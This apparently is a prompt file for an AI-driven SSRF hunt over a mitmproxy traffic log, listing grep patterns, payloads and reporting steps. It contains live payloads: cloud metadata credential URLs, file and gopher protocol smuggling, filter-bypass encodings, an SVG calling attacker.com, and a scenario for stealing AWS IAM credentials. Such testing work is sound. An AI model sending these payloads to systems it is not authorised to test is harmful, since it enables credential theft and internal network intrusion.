mitm-find-ssrf（中间人找到 ssrf）

Find SSRF Vulnerabilities

Analyze the mitmproxy dump (log.txt) for SSRF vulnerabilities for: $ARGUMENTS

Requires: log.txt in the current directory. If it's missing, capture traffic first: ``bash mitmdump --set flow_detail=3 2>&1 | tee log.txt ``

High-Value SSRF Patterns (from 113 real HackerOne bounty reports)

1. URL Parameters in Requests

Common vulnerable parameters:

url, uri, path, dest, redirect, link, href
src, source, file, document, page, load
target, proxy, fetch, request, callback
webhook, hook, endpoint, api_url, base_url
image_url, avatar_url, icon_url, logo_url
pdf_url, export_url, import_url, feed_url

Search patterns:

grep -iE '(url|uri|path|src|href|link|dest|redirect|webhook|callback|fetch|proxy|target)[=:]["'\''"]?https?://' log.txt

2. File/Image Processing Endpoints

Real examples from bounties:

• SVG upload triggers SSRF (Shopify)
• Image URL in product creation
• PDF generation with external resources
• Avatar/profile picture from URL

Search patterns:

grep -iE '\.(svg|pdf|xml|html)' log.txt
grep -iE '(upload|import|fetch|process).*url' log.txt

3. Integration/Webhook Endpoints

Real examples:

• Sentry source code scraping
• Git clone with credentials
• OAuth callback manipulation
• Webhook URL specification

Search patterns:

grep -iE '(webhook|callback|hook|notify|integration)' log.txt
grep -iE 'git.*clone|git.*url' log.txt

4. Host Header Injection

Real example: Host header bypass accessing internal subdomains

Host: internal.target.com
X-Forwarded-Host: internal.target.com
X-Original-URL: /internal/admin

Search patterns:

grep -iE '^Host:' log.txt
grep -iE 'X-Forwarded|X-Original' log.txt

SSRF Target Payloads

Internal Network Probing

http://127.0.0.1
http://localhost
http://[::1]
http://0.0.0.0
http://169.254.169.254  # AWS metadata
http://metadata.google.internal  # GCP metadata
http://100.100.100.200  # Alibaba metadata

Cloud Metadata Endpoints (Critical)

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# DigitalOcean
http://169.254.169.254/metadata/v1/

Protocol Smuggling

file:///etc/passwd
dict://localhost:11211/
gopher://localhost:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a
ldap://localhost/

Vulnerability Categories & Severity

Testing Methodology

Step 1: Identify URL Input Points

# Find URL-like parameters
grep -iE 'https?://[^\s"'\''<>]+' log.txt | grep -iE '(url|uri|src|href|link|path)='

# Find base64 encoded URLs
grep -oE '[A-Za-z0-9+/]{20,}={0,2}' log.txt | while read b; do echo "$b" | base64 -d 2>/dev/null | grep -q 'http' && echo "Base64 URL: $b"; done

Step 2: Test with Internal Targets

# Test localhost
curl 'https://target.com/api/fetch?url=http://127.0.0.1:80'

# Test metadata (AWS)
curl 'https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/'

# Test with DNS rebinding
curl 'https://target.com/api/fetch?url=http://your-rebind-domain.com'

Step 3: Bypass Common Filters

# IP variations
http://127.0.0.1 → http://2130706433 (decimal)
http://127.0.0.1 → http://0x7f000001 (hex)
http://127.0.0.1 → http://0177.0.0.1 (octal)
http://127.0.0.1 → http://127.1

# DNS bypass
http://localhost → http://localtest.me
http://169.254.169.254 → http://[0:0:0:0:0:ffff:169.254.169.254]

# URL encoding
http://127.0.0.1 → http://%31%32%37%2e%30%2e%30%2e%31

Step 4: Confirm with Out-of-Band

# Use Burp Collaborator, webhook.site, or interactsh
curl 'https://target.com/api/fetch?url=http://YOUR-BURP-COLLABORATOR-ID.burpcollaborator.net'

Real Attack Scenarios

Scenario 1: AWS Credential Theft via SSRF

1. Find image import feature: POST /api/import?image_url=XXX
2. Set URL to: http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Response contains IAM role name
4. Fetch: http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
5. Get temporary AWS credentials

Scenario 2: Internal Service Access

1. Find webhook configuration
2. Set webhook URL to internal service: http://internal-admin.local/
3. Trigger webhook
4. Access internal admin panel functionality

Scenario 3: Blind SSRF via SVG

1. Upload SVG file with external reference:
   <svg><image href="http://attacker.com/callback"/></svg>
2. Server processes SVG, fetches external URL
3. Attacker receives connection from internal IP

Output Format

## SSRF Finding: [Brief Description]

**Endpoint**: `METHOD https://target.com/path`
**Parameter**: `param_name`
**Type**: [Full|Blind|Partial]
**Severity**: [CRITICAL|HIGH|MEDIUM|LOW]

**Evidence**:
[Request showing URL parameter]

**Tested Payloads**:
- http://127.0.0.1 → [response/behavior]
- http://169.254.169.254 → [response/behavior]

**Impact**:
- Cloud credential theft
- Internal network access
- Service enumeration

**Test Command**:
curl -X METHOD 'https://target.com/...' -d 'url=http://169.254.169.254/'

**Remediation**:
- Whitelist allowed domains
- Block private IP ranges
- Use allowlist for protocols (http/https only)
- Disable redirects or validate redirect targets

False Positives to Ignore

• Static CDN URLs that are hardcoded
• OAuth redirect_uri that's validated against whitelist
• Webhook URLs that only accept HTTPS and validated domains
• URL parameters that are client-side only (JS fetch)